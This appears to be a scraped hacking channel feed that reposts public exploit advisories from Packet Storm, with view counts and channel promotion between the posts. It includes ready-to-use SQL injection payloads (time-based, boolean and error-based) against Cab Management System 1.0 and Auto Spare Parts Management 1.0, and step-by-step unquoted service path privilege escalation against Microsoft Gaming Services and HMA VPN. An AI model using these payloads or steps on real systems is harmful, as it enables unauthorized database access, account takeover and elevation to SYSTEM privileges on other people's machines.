Hacking Articles Tips Tricks Videos Tutorials

What an injection into jQuery-selector can lead to

I somehow came across a page with something like a user survey (the program is private, so I will speak abstractly).Continue reading on Medium »
Read more...

17 views16:40

13 views18:16

Hacking Articles Tips Tricks Videos Tutorials

12 views18:16

Hacking Articles Tips Tricks Videos Tutorials

Exploit Collector
Cab Management System 1.0 Remote Code Execution

___________________________
@hacking_Attack
@Hacking_Video

Kitploit

Cab Management System 1.0 Remote Code Execution

Exploit Collector is the ultimate collection of public exploits and exploitable vulnerabilities. Remote/Local Exploits, Shellcode and 0days.

12 viewsedited 18:16

Hacking Articles Tips Tricks Videos Tutorials

10 views18:16

Hacking Articles Tips Tricks Videos Tutorials

Photo

Exploit Collector
Cab Management System 1.0 SQL Injection

https://3.bp.blogspot.com/-IdvtX_t6dWw/WWlvCDhzudI/AAAAAAAAIKg/xbP9RqLektQzycUDwAlgxfpiSc2tZZpAwCLcBGAs/s1600/h126.png
Cab Management System version 1.0 suffers from a remote SQL injection vulnerability.

MD5 | a1808d21a9c748024812336fa823c23f

Download

# Exploit Title: Cab Management System 1.0 - 'id' SQLi (Authenticated)
# Exploit Author: Alperen Ergel
# Contact: @alpernae (IG/TW)
# Software Homepage: https://www.sourcecodester.com/php/15180/cab-management-system-phpoop-free-source-code.html
# Version : 1.0
# Tested on: windows 10 xammp | Kali linux
# Category: WebApp
# Google Dork: N/A
# Date: 18.02.2022
######## Description ########
#
# 
#  Authenticate and get update client settings will be appear the
#  id paramater put your payload at there it'll be work 
# 
#
#
######## Proof of Concept ########

========>>> REQUEST 

GET /cms/admin/?page=clients/manage_client&id=1%27%20AND%20(SELECT%208928%20FROM%20(SELECT(SLEEP(10)))hVPW)%20AND%20%27qHYS%27=%27qHYS HTTP/1.1
Host: localhost
sec-ch-ua: "(Not(A:Brand";v="8", "Chromium";v="98"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Windows"
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/98.0.4758.82 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Sec-Fetch-Site: none
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate
Accept-Language: tr-TR,tr;q=0.9,en-US;q=0.8,en;q=0.7
Cookie: PHPSESSID=m1s7h9jremg0vj7ipk9m05n1nt
Connection: close

Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

Kitploit

Cab Management System 1.0 SQL Injection

Exploit Collector is the ultimate collection of public exploits and exploitable vulnerabilities. Remote/Local Exploits, Shellcode and 0days.

8 viewsedited 18:16

Hacking Articles Tips Tricks Videos Tutorials

6 views18:16

Hacking Articles Tips Tricks Videos Tutorials

Photo

Exploit Collector
Microsoft Gaming Services 2.52.13001.0 Unquoted Service Path

https://3.bp.blogspot.com/-Gb5I5b_xjQ0/WWlu86s-SoI/AAAAAAAAIJk/Vrr0JqyMe7wOp_97KyfJoVRHnDW4ZjPNwCLcBGAs/s1600/h112.png
Microsoft Gaming Services version 2.52.13001.0 suffers from an unquoted service path vulnerability.

MD5 | fd3686589e68fa850eb079be7e829f6b

Download

# Exploit Title: Microsoft Gaming Services 2.52.13001.0 - Unquoted Service Path
# Discovery by: Johto Robbie
# Discovery Date: May 12, 2021
# Tested Version: 2.52.13001.0
# Vulnerability Type: Unquoted Service Path
# Tested on OS: Windows 10 x64 Home

# Step to discover Unquoted Service Path:

Go to Start and type cmd. Enter the following command and press Enter:

C:\Users\Bang's>wmic service get name, displayname, pathname, startmode |
findstr /i "Auto" | findstr /i /v "C:\Windows\" | findstr /i /v """

Gaming Services
GamingServices           C:\Program
Files\WindowsApps\Microsoft.GamingServices_2.52.13001.0_x64__8wekyb3d8bbwe\GamingServices.exe
Auto

Gaming Services
GamingServicesNet        C:\Program
Files\WindowsApps\Microsoft.GamingServices_2.52.13001.0_x64__8wekyb3d8bbwe\GamingServicesNet.exe
Auto

C:\Users\Bang's>sc qc "GamingServices"

[SC] QueryServiceConfig SUCCESS

SERVICE_NAME: GamingServices

TYPE               : 210  WIN32_PACKAGED_PROCESS

START_TYPE         : 2   AUTO_START

ERROR_CONTROL      : 0   IGNORE

BINARY_PATH_NAME   : C:\Program
Files\WindowsApps\Microsoft.GamingServices_2.52.13001.0_x64__8wekyb3d8bbwe\GamingServices.exe

LOAD_ORDER_GROUP   :

TAG                : 0

DISPLAY_NAME       : Gaming Services

DEPENDENCIES       : staterepository

SERVICE_START_NAME : LocalSystem

This application have no quote . And it contained in C:\Program Files. Put
mot malicious aplication with name "progarm.exe"

Stop & Start: GamingServices. "progarm.exe" will be execute

#Exploit:

An unquoted service path in
Microsoft.GamingServices_2.52.13001.0_x64__8wekyb3d8bbwe, could lead to
privilege escalation during the installation process that is performed when
an executable file is registered. This could further lead to complete
compromise of confidentiality, Integrity and Availability.

#Timeline
May 12, 2021 - Reported to Microsoft
Feb 11, 2022 - Confirmed vulnerability has been fixed

Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

Kitploit

Microsoft Gaming Services 2.52.13001.0 Unquoted Service Path

Exploit Collector is the ultimate collection of public exploits and exploitable vulnerabilities. Remote/Local Exploits, Shellcode and 0days.

4 viewsedited 18:16

Hacking Articles Tips Tricks Videos Tutorials

7 views18:16

Hacking Articles Tips Tricks Videos Tutorials

Photo

Exploit Collector
HMA VPN 5.3 Unquoted Service Path

https://3.bp.blogspot.com/-vLPaJ0bXchM/WWlvcii8AuI/AAAAAAAAIPY/lohzKYQrhRkUA5ocnA3xRTtIEj7YZIM-ACLcBGAs/s1600/h77.png
HMA VPN version 5.3 suffers from an unquoted service path vulnerability.

MD5 | da5d5f503180638006e5f6fa9de027ae

Download

# Exploit Title: HMA VPN 5.3 - Unquoted Service Path
# Date: 18/02/2022
# Exploit Author: Saud Alenazi
# Vendor Homepage: https://www.hidemyass.com/
# Software Link: https://www.hidemyass.com/en-us/downloads
# Version: 5.3.5913.0
# Tested: Windows 10 Pro x64 es
C:\Users\saudh>sc qc HmaProVpn
[SC] QueryServiceConfig SUCCESS

SERVICE_NAME: HmaProVpn
TYPE               : 20  WIN32_SHARE_PROCESS
START_TYPE         : 2   AUTO_START
ERROR_CONTROL      : 1   NORMAL
BINARY_PATH_NAME   : "C:\Program Files\Privax\HMA VPN\VpnSvc.exe"
LOAD_ORDER_GROUP   :
TAG                : 0
DISPLAY_NAME       : HMA VPN
DEPENDENCIES       :
SERVICE_START_NAME : LocalSystem
#Exploit:

A successful attempt would require the local user to be able to insert their code in the system root path undetected by the OS or other security applications where it could potentially be executed during application startup or reboot. If successful, the local user's code would execute with the elevated privileges of the application.

Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

Kitploit

HMA VPN 5.3 Unquoted Service Path

Exploit Collector is the ultimate collection of public exploits and exploitable vulnerabilities. Remote/Local Exploits, Shellcode and 0days.

6 viewsedited 18:16

Hacking Articles Tips Tricks Videos Tutorials

6 views18:16

Hacking Articles Tips Tricks Videos Tutorials

7 views18:16

Hacking Articles Tips Tricks Videos Tutorials

Photo

Exploit Collector
Auto Spare Parts Management 1.0 SQL Injection

https://3.bp.blogspot.com/-Qhp4qePCt4w/WWlvgnoLBHI/AAAAAAAAIQQ/Pg-5D4V1nfk8Sq6EZO_I88mZqTiN0MsZgCLcBGAs/s1600/h89.png
Auto Spare Parts Management version 1.0 suffers from a remote SQL injection vulnerability.

MD5 | 4b39f3991fe69b8ce93d5ad92150f7ce

Download

## Title: Auto-Spare-Parts-Management v1.0 remote SQL-Injections
## Author: nu11secur1ty
## Date: 02.19.2022
## Vendor: https://github.com/pavanpatil45
## Software: https://github.com/pavanpatil45/Auto-Spare-Parts-Management
## Description:
The Referer HTTP header on Auto-Spare-Parts-Management v1.0 system
appears to be vulnerable to SQL injection attacks, parameter `user`.
The payload ' was submitted in the Referer HTTP header, and a database
error message was returned.
The attacker from outside can take control of all accounts of this
system by using this vulnerability!
WARNING: If this is in some external domain, or some subdomain, or
internal, this will be extremely dangerous!
Status: CRITICAL
[+] Payloads:

```mysql
---
Parameter: user (POST)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: user=admin1' AND 5432=5432 AND
'MXPx'='MXPx&password=admin1&btnlogin=

Type: error-based
Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or
GROUP BY clause (FLOOR)
Payload: user=admin1' AND (SELECT 8861 FROM(SELECT
COUNT(*),CONCAT(0x71786b6271,(SELECT
(ELT(8861=8861,1))),0x71706b7171,FLOOR(RAND(0)*2))x FROM
INFORMATION_SCHEMA.PLUGINS GROUP BY x)a) AND
'aOSP'='aOSP&password=admin1&btnlogin=

Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: user=admin1' AND (SELECT 1749 FROM
(SELECT(SLEEP(3)))XjEM) AND 'xoHI'='xoHI&password=admin1&btnlogin=
---

```
## Reproduce:
[href](https://github.com/nu11secur1ty/CVE-nu11secur1ty/edit/main/vendors/pavanpatil45/Auto-Spare-Parts-Management)

## Proof and Exploit:
[href](https://streamable.com/qq19po)